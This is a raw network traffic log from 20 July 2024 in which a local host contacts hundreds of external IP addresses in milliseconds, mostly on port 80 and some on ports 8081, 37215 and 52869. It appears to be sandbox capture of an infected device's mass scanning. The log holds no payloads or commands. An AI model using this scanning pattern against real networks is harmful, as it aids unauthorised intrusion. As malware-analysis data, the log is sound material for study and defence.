Jul 20, 2024 23:01:01.376239061 CEST	50568	80	192.168.2.13	88.73.98.189
Jul 20, 2024 23:01:01.376239061 CEST	50568	80	192.168.2.13	88.173.196.131
Jul 20, 2024 23:01:01.376239061 CEST	50568	80	192.168.2.13	88.77.111.84
Jul 20, 2024 23:01:01.376285076 CEST	80	50568	88.224.29.121	192.168.2.13
Jul 20, 2024 23:01:01.376296043 CEST	80	50568	88.109.35.205	192.168.2.13
Jul 20, 2024 23:01:01.376306057 CEST	80	50568	88.160.96.62	192.168.2.13
Jul 20, 2024 23:01:01.376318932 CEST	80	50568	88.99.95.71	192.168.2.13
Jul 20, 2024 23:01:01.376328945 CEST	80	50568	88.44.170.245	192.168.2.13
Jul 20, 2024 23:01:01.376338005 CEST	80	50568	88.49.82.108	192.168.2.13
Jul 20, 2024 23:01:01.376346111 CEST	80	50568	88.58.91.164	192.168.2.13
Jul 20, 2024 23:01:01.376355886 CEST	80	50568	88.227.136.233	192.168.2.13
Jul 20, 2024 23:01:01.376364946 CEST	80	50568	88.32.75.97	192.168.2.13
Jul 20, 2024 23:01:01.376374006 CEST	80	50568	88.123.78.143	192.168.2.13
Jul 20, 2024 23:01:01.376383066 CEST	80	50568	88.14.123.13	192.168.2.13
Jul 20, 2024 23:01:01.376391888 CEST	80	50568	88.199.67.197	192.168.2.13
Jul 20, 2024 23:01:01.376399994 CEST	80	50568	88.35.137.159	192.168.2.13
Jul 20, 2024 23:01:01.376409054 CEST	80	50568	88.211.222.142	192.168.2.13
Jul 20, 2024 23:01:01.376418114 CEST	80	50568	88.65.11.36	192.168.2.13
Jul 20, 2024 23:01:01.376446009 CEST	50568	80	192.168.2.13	88.65.11.36
Jul 20, 2024 23:01:01.376458883 CEST	80	33436	88.180.99.105	192.168.2.13
Jul 20, 2024 23:01:01.376468897 CEST	80	50568	88.235.251.226	192.168.2.13
Jul 20, 2024 23:01:01.376549006 CEST	50568	80	192.168.2.13	88.53.99.157
Jul 20, 2024 23:01:01.376549006 CEST	50568	80	192.168.2.13	88.107.93.39
Jul 20, 2024 23:01:01.376549006 CEST	33936	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.56.109.160
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.124.243.190
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.198.140.170
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.61.25.64
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.52.158.152
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.52.236.122
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.224.29.121
Jul 20, 2024 23:01:01.376735926 CEST	50568	80	192.168.2.13	88.44.170.245
Jul 20, 2024 23:01:01.376966000 CEST	50568	80	192.168.2.13	88.187.16.210
Jul 20, 2024 23:01:01.376966953 CEST	50568	80	192.168.2.13	88.63.196.192
Jul 20, 2024 23:01:01.376966953 CEST	50568	80	192.168.2.13	88.99.95.71
Jul 20, 2024 23:01:01.376966953 CEST	37536	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:01:01.376966953 CEST	50568	80	192.168.2.13	88.199.67.197
Jul 20, 2024 23:01:01.376966953 CEST	50568	80	192.168.2.13	88.235.251.226
Jul 20, 2024 23:01:01.376991987 CEST	80	50568	88.222.83.51	192.168.2.13
Jul 20, 2024 23:01:01.377023935 CEST	80	50568	88.215.247.120	192.168.2.13
Jul 20, 2024 23:01:01.377032995 CEST	80	50568	88.59.134.116	192.168.2.13
Jul 20, 2024 23:01:01.377048016 CEST	80	50568	88.37.102.249	192.168.2.13
Jul 20, 2024 23:01:01.377057076 CEST	80	50568	88.148.127.69	192.168.2.13
Jul 20, 2024 23:01:01.377065897 CEST	80	50568	88.147.159.255	192.168.2.13
Jul 20, 2024 23:01:01.377074957 CEST	80	50568	88.18.234.49	192.168.2.13
Jul 20, 2024 23:01:01.377084017 CEST	80	50568	88.200.217.44	192.168.2.13
Jul 20, 2024 23:01:01.377093077 CEST	80	50568	88.231.13.245	192.168.2.13
Jul 20, 2024 23:01:01.377103090 CEST	80	50568	88.71.10.217	192.168.2.13
Jul 20, 2024 23:01:01.377111912 CEST	80	50568	88.2.167.38	192.168.2.13
Jul 20, 2024 23:01:01.377111912 CEST	50568	80	192.168.2.13	88.30.91.211
Jul 20, 2024 23:01:01.377111912 CEST	50568	80	192.168.2.13	88.109.35.205
Jul 20, 2024 23:01:01.377113104 CEST	50568	80	192.168.2.13	88.49.82.108
Jul 20, 2024 23:01:01.377113104 CEST	50568	80	192.168.2.13	88.227.136.233
Jul 20, 2024 23:01:01.377113104 CEST	50568	80	192.168.2.13	88.211.222.142
Jul 20, 2024 23:01:01.377113104 CEST	50568	80	192.168.2.13	88.37.102.249
Jul 20, 2024 23:01:01.377113104 CEST	50568	80	192.168.2.13	88.18.234.49
Jul 20, 2024 23:01:01.377120972 CEST	80	50568	88.222.247.200	192.168.2.13
Jul 20, 2024 23:01:01.377129078 CEST	80	50568	88.127.70.174	192.168.2.13
Jul 20, 2024 23:01:01.377137899 CEST	80	50568	88.170.249.226	192.168.2.13
Jul 20, 2024 23:01:01.377146959 CEST	80	50568	88.33.38.169	192.168.2.13
Jul 20, 2024 23:01:01.377156019 CEST	80	50568	88.23.118.125	192.168.2.13
Jul 20, 2024 23:01:01.377165079 CEST	80	50568	88.184.94.156	192.168.2.13
Jul 20, 2024 23:01:01.377173901 CEST	80	50568	88.149.71.126	192.168.2.13
Jul 20, 2024 23:01:01.377182007 CEST	80	50568	88.160.230.39	192.168.2.13
Jul 20, 2024 23:01:01.377191067 CEST	80	50568	88.135.182.220	192.168.2.13
Jul 20, 2024 23:01:01.377199888 CEST	80	50568	88.40.78.18	192.168.2.13
Jul 20, 2024 23:01:01.377208948 CEST	80	50568	88.79.163.144	192.168.2.13
Jul 20, 2024 23:01:01.377221107 CEST	80	50568	88.77.24.164	192.168.2.13
Jul 20, 2024 23:01:01.377232075 CEST	80	50568	88.176.230.44	192.168.2.13
Jul 20, 2024 23:01:01.377240896 CEST	50568	80	192.168.2.13	88.2.167.38
Jul 20, 2024 23:01:01.377240896 CEST	80	50568	88.99.202.119	192.168.2.13
Jul 20, 2024 23:01:01.377250910 CEST	80	50568	88.159.243.52	192.168.2.13
Jul 20, 2024 23:01:01.377259970 CEST	80	50568	88.39.202.60	192.168.2.13
Jul 20, 2024 23:01:01.377269030 CEST	80	50568	88.176.237.0	192.168.2.13
Jul 20, 2024 23:01:01.377278090 CEST	80	50568	88.134.117.202	192.168.2.13
Jul 20, 2024 23:01:01.377286911 CEST	80	50568	88.230.97.77	192.168.2.13
Jul 20, 2024 23:01:01.377295971 CEST	80	50568	88.1.214.149	192.168.2.13
Jul 20, 2024 23:01:01.377306938 CEST	8081	37536	1.190.106.28	192.168.2.13
Jul 20, 2024 23:01:01.377315998 CEST	80	50568	88.148.130.25	192.168.2.13
Jul 20, 2024 23:01:01.377325058 CEST	80	50568	88.98.97.12	192.168.2.13
Jul 20, 2024 23:01:01.377334118 CEST	80	50568	88.50.108.108	192.168.2.13
Jul 20, 2024 23:01:01.377341986 CEST	80	50568	88.248.47.172	192.168.2.13
Jul 20, 2024 23:01:01.377351046 CEST	80	50568	88.133.108.2	192.168.2.13
Jul 20, 2024 23:01:01.377361059 CEST	80	50568	88.48.130.15	192.168.2.13
Jul 20, 2024 23:01:01.377370119 CEST	80	50568	88.238.80.253	192.168.2.13
Jul 20, 2024 23:01:01.377378941 CEST	80	50568	88.90.236.152	192.168.2.13
Jul 20, 2024 23:01:01.377388000 CEST	80	50568	88.147.20.31	192.168.2.13
Jul 20, 2024 23:01:01.377397060 CEST	80	50568	88.114.154.62	192.168.2.13
Jul 20, 2024 23:01:01.377407074 CEST	80	50568	88.142.146.148	192.168.2.13
Jul 20, 2024 23:01:01.377414942 CEST	80	50568	88.159.48.5	192.168.2.13
Jul 20, 2024 23:01:01.377424002 CEST	80	50568	88.41.110.95	192.168.2.13
Jul 20, 2024 23:01:01.377434015 CEST	80	50568	88.72.68.177	192.168.2.13
Jul 20, 2024 23:01:01.377444983 CEST	80	50568	88.79.128.133	192.168.2.13
Jul 20, 2024 23:01:01.377454042 CEST	80	50568	88.17.212.234	192.168.2.13
Jul 20, 2024 23:01:01.377463102 CEST	80	50568	88.71.6.191	192.168.2.13
Jul 20, 2024 23:01:01.377471924 CEST	80	50568	88.16.204.48	192.168.2.13
Jul 20, 2024 23:01:01.377480984 CEST	80	50568	88.252.126.233	192.168.2.13
Jul 20, 2024 23:01:01.377495050 CEST	80	50568	88.20.76.156	192.168.2.13
Jul 20, 2024 23:01:01.377502918 CEST	80	50568	88.205.9.43	192.168.2.13
Jul 20, 2024 23:01:01.377511978 CEST	80	50568	88.234.25.54	192.168.2.13
Jul 20, 2024 23:01:01.377521038 CEST	80	51950	88.74.83.5	192.168.2.13
Jul 20, 2024 23:01:01.377528906 CEST	80	50568	88.43.203.49	192.168.2.13
Jul 20, 2024 23:01:01.377537966 CEST	80	50568	88.160.134.195	192.168.2.13
Jul 20, 2024 23:01:01.377547026 CEST	80	50568	88.132.109.176	192.168.2.13
Jul 20, 2024 23:01:01.377554893 CEST	80	50568	88.14.101.119	192.168.2.13
Jul 20, 2024 23:01:01.377563953 CEST	80	50568	88.162.171.219	192.168.2.13
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.159.243.52
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.1.214.149
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.133.108.2
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.41.110.95
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.79.128.133
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.205.9.43
Jul 20, 2024 23:01:01.378254890 CEST	50568	80	192.168.2.13	88.160.134.195
Jul 20, 2024 23:01:01.379373074 CEST	50568	80	192.168.2.13	88.200.217.44
Jul 20, 2024 23:01:01.379373074 CEST	50568	80	192.168.2.13	88.231.13.245
Jul 20, 2024 23:01:01.379373074 CEST	50568	80	192.168.2.13	88.127.70.174
Jul 20, 2024 23:01:01.379373074 CEST	50568	80	192.168.2.13	88.33.38.169
Jul 20, 2024 23:01:01.379373074 CEST	50568	80	192.168.2.13	88.184.94.156
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.71.10.217
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.222.247.200
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.23.118.125
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.135.182.220
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.79.163.144
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.39.202.60
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.248.47.172
Jul 20, 2024 23:01:01.380242109 CEST	50568	80	192.168.2.13	88.72.68.177
Jul 20, 2024 23:01:01.380522966 CEST	80	50568	88.136.17.243	192.168.2.13
Jul 20, 2024 23:01:01.380534887 CEST	80	50568	88.247.160.148	192.168.2.13
Jul 20, 2024 23:01:01.380543947 CEST	80	50568	88.57.248.161	192.168.2.13
Jul 20, 2024 23:01:01.380582094 CEST	80	50568	88.58.212.9	192.168.2.13
Jul 20, 2024 23:01:01.380590916 CEST	80	50568	88.185.234.3	192.168.2.13
Jul 20, 2024 23:01:01.380599022 CEST	80	50568	88.54.170.26	192.168.2.13
Jul 20, 2024 23:01:01.380608082 CEST	80	50568	88.141.231.24	192.168.2.13
Jul 20, 2024 23:01:01.380616903 CEST	80	41666	88.39.169.246	192.168.2.13
Jul 20, 2024 23:01:01.380634069 CEST	8081	38086	27.254.224.242	192.168.2.13
Jul 20, 2024 23:01:01.380642891 CEST	80	49334	88.221.47.36	192.168.2.13
Jul 20, 2024 23:01:01.380651951 CEST	80	55180	88.253.118.70	192.168.2.13
Jul 20, 2024 23:01:01.380660057 CEST	80	50568	88.35.93.102	192.168.2.13
Jul 20, 2024 23:01:01.380669117 CEST	80	50568	88.72.242.68	192.168.2.13
Jul 20, 2024 23:01:01.380677938 CEST	80	50568	88.36.176.231	192.168.2.13
Jul 20, 2024 23:01:01.380836964 CEST	80	50568	88.107.128.193	192.168.2.13
Jul 20, 2024 23:01:01.380846024 CEST	80	50568	88.181.105.45	192.168.2.13
Jul 20, 2024 23:01:01.380855083 CEST	80	50568	88.60.175.151	192.168.2.13
Jul 20, 2024 23:01:01.380863905 CEST	80	50568	88.79.27.3	192.168.2.13
Jul 20, 2024 23:01:01.380872965 CEST	80	50568	88.83.29.237	192.168.2.13
Jul 20, 2024 23:01:01.380881071 CEST	80	50568	88.218.31.25	192.168.2.13
Jul 20, 2024 23:01:01.380889893 CEST	80	50568	88.200.67.117	192.168.2.13
Jul 20, 2024 23:01:01.380897999 CEST	80	52664	88.74.83.5	192.168.2.13
Jul 20, 2024 23:01:01.380916119 CEST	37215	43962	197.250.181.100	192.168.2.13
Jul 20, 2024 23:01:01.380924940 CEST	80	50568	88.96.60.203	192.168.2.13
Jul 20, 2024 23:01:01.380934000 CEST	80	50568	88.67.227.175	192.168.2.13
Jul 20, 2024 23:01:01.380942106 CEST	80	50568	88.195.43.241	192.168.2.13
Jul 20, 2024 23:01:01.380949974 CEST	52869	40854	89.84.130.3	192.168.2.13
Jul 20, 2024 23:01:01.380959988 CEST	8081	53538	179.192.54.138	192.168.2.13
Jul 20, 2024 23:01:01.381019115 CEST	80	50568	88.117.96.189	192.168.2.13
Jul 20, 2024 23:01:01.381027937 CEST	80	50568	88.208.167.130	192.168.2.13
Jul 20, 2024 23:01:01.381045103 CEST	80	50568	88.16.106.241	192.168.2.13
Jul 20, 2024 23:01:01.381053925 CEST	80	50568	88.149.24.247	192.168.2.13
Jul 20, 2024 23:01:01.381062984 CEST	80	50568	88.78.160.94	192.168.2.13
Jul 20, 2024 23:01:01.381071091 CEST	80	50568	88.142.16.152	192.168.2.13
Jul 20, 2024 23:01:01.381079912 CEST	37215	53848	41.170.121.130	192.168.2.13
Jul 20, 2024 23:01:01.381088018 CEST	80	50568	88.118.154.238	192.168.2.13
Jul 20, 2024 23:01:01.381095886 CEST	80	50568	88.221.147.210	192.168.2.13
Jul 20, 2024 23:01:01.381127119 CEST	80	50568	88.194.252.37	192.168.2.13
Jul 20, 2024 23:01:01.381150007 CEST	80	58788	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:01.381386995 CEST	80	50568	88.195.192.254	192.168.2.13
Jul 20, 2024 23:01:01.381397009 CEST	80	50568	88.171.164.131	192.168.2.13
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.59.134.116
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.147.159.255
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.160.230.39
Jul 20, 2024 23:01:01.381406069 CEST	80	50568	88.37.207.160	192.168.2.13
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.77.24.164
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.99.202.119
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.230.97.77
Jul 20, 2024 23:01:01.381402969 CEST	50568	80	192.168.2.13	88.50.108.108
Jul 20, 2024 23:01:01.381416082 CEST	80	50568	88.130.226.24	192.168.2.13
Jul 20, 2024 23:01:01.381424904 CEST	80	50568	88.10.72.167	192.168.2.13
Jul 20, 2024 23:01:01.381433964 CEST	8081	51014	105.250.179.123	192.168.2.13
Jul 20, 2024 23:01:01.381443024 CEST	52869	52830	83.59.61.36	192.168.2.13
Jul 20, 2024 23:01:01.381581068 CEST	80	50568	88.143.157.188	192.168.2.13
Jul 20, 2024 23:01:01.381598949 CEST	80	50568	88.127.25.185	192.168.2.13
Jul 20, 2024 23:01:01.381607056 CEST	80	50568	88.207.174.121	192.168.2.13
Jul 20, 2024 23:01:01.381614923 CEST	8081	51782	105.250.179.123	192.168.2.13
Jul 20, 2024 23:01:01.381623983 CEST	80	50568	88.150.149.167	192.168.2.13
Jul 20, 2024 23:01:01.381638050 CEST	80	33936	88.194.165.251	192.168.2.13
Jul 20, 2024 23:01:01.381645918 CEST	80	50568	88.162.151.46	192.168.2.13
Jul 20, 2024 23:01:01.381654024 CEST	37215	36066	41.190.198.11	192.168.2.13
Jul 20, 2024 23:01:01.381663084 CEST	80	42722	88.2.59.118	192.168.2.13
Jul 20, 2024 23:01:01.381671906 CEST	8081	38386	120.212.148.136	192.168.2.13
Jul 20, 2024 23:01:01.381673098 CEST	50568	80	192.168.2.13	88.124.65.148
Jul 20, 2024 23:01:01.381673098 CEST	50568	80	192.168.2.13	88.160.96.62
Jul 20, 2024 23:01:01.381673098 CEST	50568	80	192.168.2.13	88.58.91.164
Jul 20, 2024 23:01:01.381673098 CEST	50568	80	192.168.2.13	88.123.78.143
Jul 20, 2024 23:01:01.381691933 CEST	80	50568	88.87.3.235	192.168.2.13
Jul 20, 2024 23:01:01.381716013 CEST	8081	57144	141.23.130.76	192.168.2.13
Jul 20, 2024 23:01:01.381725073 CEST	80	34154	88.180.99.105	192.168.2.13
Jul 20, 2024 23:01:01.381742001 CEST	8081	43562	135.188.25.100	192.168.2.13
Jul 20, 2024 23:01:01.382009983 CEST	8081	39150	120.212.148.136	192.168.2.13
Jul 20, 2024 23:01:01.382036924 CEST	8081	38300	1.190.106.28	192.168.2.13
Jul 20, 2024 23:01:01.382054090 CEST	80	34652	88.194.165.251	192.168.2.13
Jul 20, 2024 23:01:01.382061958 CEST	80	33436	88.180.99.105	192.168.2.13
Jul 20, 2024 23:01:01.382070065 CEST	52869	34744	72.60.254.31	192.168.2.13
Jul 20, 2024 23:01:01.382078886 CEST	8081	56376	141.23.130.76	192.168.2.13
Jul 20, 2024 23:01:01.382096052 CEST	50568	80	192.168.2.13	88.32.75.97
Jul 20, 2024 23:01:01.382096052 CEST	50568	80	192.168.2.13	88.14.123.13
Jul 20, 2024 23:01:01.382096052 CEST	50568	80	192.168.2.13	88.35.137.159
Jul 20, 2024 23:01:01.382155895 CEST	80	59498	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:01.382173061 CEST	37215	52570	14.89.47.143	192.168.2.13
Jul 20, 2024 23:01:01.382989883 CEST	52664	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:01:01.383193016 CEST	80	43430	88.2.59.118	192.168.2.13
Jul 20, 2024 23:01:01.383212090 CEST	8081	38386	120.212.148.136	192.168.2.13
Jul 20, 2024 23:01:01.383234024 CEST	37215	37176	41.119.197.216	192.168.2.13
Jul 20, 2024 23:01:01.383243084 CEST	8081	44334	135.188.25.100	192.168.2.13
Jul 20, 2024 23:01:01.383493900 CEST	80	50570	88.65.22.95	192.168.2.13
Jul 20, 2024 23:01:01.383522987 CEST	44334	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:01:01.384126902 CEST	8081	37536	1.190.106.28	192.168.2.13
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.215.247.120
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.148.127.69
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.149.71.126
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.176.230.44
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.134.117.202
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.148.130.25
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.238.80.253
Jul 20, 2024 23:01:01.384579897 CEST	50568	80	192.168.2.13	88.114.154.62
Jul 20, 2024 23:01:01.386332989 CEST	80	55180	88.253.118.70	192.168.2.13
Jul 20, 2024 23:01:01.386342049 CEST	80	49334	88.221.47.36	192.168.2.13
Jul 20, 2024 23:01:01.386349916 CEST	80	41666	88.39.169.246	192.168.2.13
Jul 20, 2024 23:01:01.386368990 CEST	55180	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.247.160.148
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.58.212.9
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.54.170.26
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.36.176.231
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.218.31.25
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.195.43.241
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.149.24.247
Jul 20, 2024 23:01:01.387196064 CEST	50568	80	192.168.2.13	88.142.16.152
Jul 20, 2024 23:01:01.387641907 CEST	50568	80	192.168.2.13	88.90.236.152
Jul 20, 2024 23:01:01.387641907 CEST	50568	80	192.168.2.13	88.142.146.148
Jul 20, 2024 23:01:01.387643099 CEST	50568	80	192.168.2.13	88.16.204.48
Jul 20, 2024 23:01:01.387643099 CEST	50568	80	192.168.2.13	88.43.203.49
Jul 20, 2024 23:01:01.387643099 CEST	50568	80	192.168.2.13	88.72.242.68
Jul 20, 2024 23:01:01.387643099 CEST	50568	80	192.168.2.13	88.79.27.3
Jul 20, 2024 23:01:01.387643099 CEST	50568	80	192.168.2.13	88.67.227.175
Jul 20, 2024 23:01:01.387643099 CEST	50568	80	192.168.2.13	88.208.167.130
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.71.6.191
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.20.76.156
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.234.25.54
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.162.171.219
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.136.17.243
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.57.248.161
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.185.234.3
Jul 20, 2024 23:01:01.387842894 CEST	50568	80	192.168.2.13	88.141.231.24
Jul 20, 2024 23:01:01.388329029 CEST	53990	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:01.388573885 CEST	50568	80	192.168.2.13	88.222.83.51
Jul 20, 2024 23:01:01.388573885 CEST	50568	80	192.168.2.13	88.170.249.226
Jul 20, 2024 23:01:01.388575077 CEST	50568	80	192.168.2.13	88.40.78.18
Jul 20, 2024 23:01:01.388575077 CEST	50568	80	192.168.2.13	88.176.237.0
Jul 20, 2024 23:01:01.388575077 CEST	50568	80	192.168.2.13	88.98.97.12
Jul 20, 2024 23:01:01.388575077 CEST	50568	80	192.168.2.13	88.48.130.15
Jul 20, 2024 23:01:01.388575077 CEST	50568	80	192.168.2.13	88.147.20.31
Jul 20, 2024 23:01:01.388575077 CEST	50568	80	192.168.2.13	88.159.48.5
Jul 20, 2024 23:01:01.389058113 CEST	50568	80	192.168.2.13	88.17.212.234
Jul 20, 2024 23:01:01.389058113 CEST	50568	80	192.168.2.13	88.132.109.176
Jul 20, 2024 23:01:01.389058113 CEST	50568	80	192.168.2.13	88.35.93.102
Jul 20, 2024 23:01:01.389058113 CEST	50568	80	192.168.2.13	88.107.128.193
Jul 20, 2024 23:01:01.389058113 CEST	50568	80	192.168.2.13	88.60.175.151
Jul 20, 2024 23:01:01.389058113 CEST	43962	37215	192.168.2.13	197.250.181.100
Jul 20, 2024 23:01:01.389058113 CEST	53848	37215	192.168.2.13	41.170.121.130
Jul 20, 2024 23:01:01.391987085 CEST	35646	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:01:01.391987085 CEST	35646	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:01:01.393356085 CEST	80	33936	88.194.165.251	192.168.2.13
Jul 20, 2024 23:01:01.393357038 CEST	50568	80	192.168.2.13	88.83.29.237
Jul 20, 2024 23:01:01.393357038 CEST	50568	80	192.168.2.13	88.200.67.117
Jul 20, 2024 23:01:01.393357038 CEST	40854	52869	192.168.2.13	89.84.130.3
Jul 20, 2024 23:01:01.393357038 CEST	51782	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:01:01.393357038 CEST	35338	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:01:01.393357038 CEST	35338	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:01:01.393368006 CEST	43546	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:01.394227028 CEST	50568	80	192.168.2.13	88.252.126.233
Jul 20, 2024 23:01:01.394227028 CEST	50568	80	192.168.2.13	88.14.101.119
Jul 20, 2024 23:01:01.394227982 CEST	50568	80	192.168.2.13	88.181.105.45
Jul 20, 2024 23:01:01.394227982 CEST	50568	80	192.168.2.13	88.96.60.203
Jul 20, 2024 23:01:01.394227982 CEST	50568	80	192.168.2.13	88.117.96.189
Jul 20, 2024 23:01:01.394227982 CEST	50568	80	192.168.2.13	88.16.106.241
Jul 20, 2024 23:01:01.394227982 CEST	50568	80	192.168.2.13	88.78.160.94
Jul 20, 2024 23:01:01.394227982 CEST	50568	80	192.168.2.13	88.221.147.210
Jul 20, 2024 23:01:01.394582033 CEST	36424	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:01:01.394731045 CEST	50568	80	192.168.2.13	88.118.154.238
Jul 20, 2024 23:01:01.394731045 CEST	50568	80	192.168.2.13	88.130.226.24
Jul 20, 2024 23:01:01.394731045 CEST	50568	80	192.168.2.13	88.127.25.185
Jul 20, 2024 23:01:01.394731045 CEST	34154	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:01.394731045 CEST	39150	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:01:01.394731045 CEST	34652	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:01.394731998 CEST	59498	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:01.394731998 CEST	52570	37215	192.168.2.13	14.89.47.143
Jul 20, 2024 23:01:01.394776106 CEST	37215	53990	197.111.92.249	192.168.2.13
Jul 20, 2024 23:01:01.394813061 CEST	53990	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.194.252.37
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.195.192.254
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.37.207.160
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.143.157.188
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.207.174.121
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.150.149.167
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.162.151.46
Jul 20, 2024 23:01:01.397079945 CEST	50568	80	192.168.2.13	88.87.3.235
Jul 20, 2024 23:01:01.397234917 CEST	8081	35646	85.247.110.68	192.168.2.13
Jul 20, 2024 23:01:01.397645950 CEST	47008	52869	192.168.2.13	166.150.19.163
Jul 20, 2024 23:01:01.397645950 CEST	57172	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:01.398065090 CEST	55744	52869	192.168.2.13	137.137.144.212
Jul 20, 2024 23:01:01.398638010 CEST	80	43546	88.129.108.32	192.168.2.13
Jul 20, 2024 23:01:01.399194956 CEST	43546	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:01.399784088 CEST	8081	36424	85.247.110.68	192.168.2.13
Jul 20, 2024 23:01:01.399822950 CEST	36424	8081	192.168.2.13	85.247.110.68
Jul 20, 2024 23:01:01.400011063 CEST	43862	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:01.400182962 CEST	58484	37215	192.168.2.13	157.117.186.115
Jul 20, 2024 23:01:01.400298119 CEST	38300	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:01:01.400298119 CEST	34744	52869	192.168.2.13	72.60.254.31
Jul 20, 2024 23:01:01.400298119 CEST	43430	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:01.400298119 CEST	49334	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:01:01.400494099 CEST	37176	37215	192.168.2.13	41.119.197.216
Jul 20, 2024 23:01:01.400494099 CEST	36114	8081	192.168.2.13	119.52.87.11
Jul 20, 2024 23:01:01.400494099 CEST	42722	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:01:01.400494099 CEST	42722	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:01:01.400614023 CEST	50568	80	192.168.2.13	88.171.164.131
Jul 20, 2024 23:01:01.400614023 CEST	50568	80	192.168.2.13	88.10.72.167
Jul 20, 2024 23:01:01.400614023 CEST	52830	52869	192.168.2.13	83.59.61.36
Jul 20, 2024 23:01:01.400614023 CEST	36066	37215	192.168.2.13	41.190.198.11
Jul 20, 2024 23:01:01.400614023 CEST	57144	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:01:01.400732994 CEST	43502	8081	192.168.2.13	147.230.135.122
Jul 20, 2024 23:01:01.402221918 CEST	8081	35338	119.52.87.11	192.168.2.13
Jul 20, 2024 23:01:01.402642965 CEST	52869	47008	166.150.19.163	192.168.2.13
Jul 20, 2024 23:01:01.402673960 CEST	47008	52869	192.168.2.13	166.150.19.163
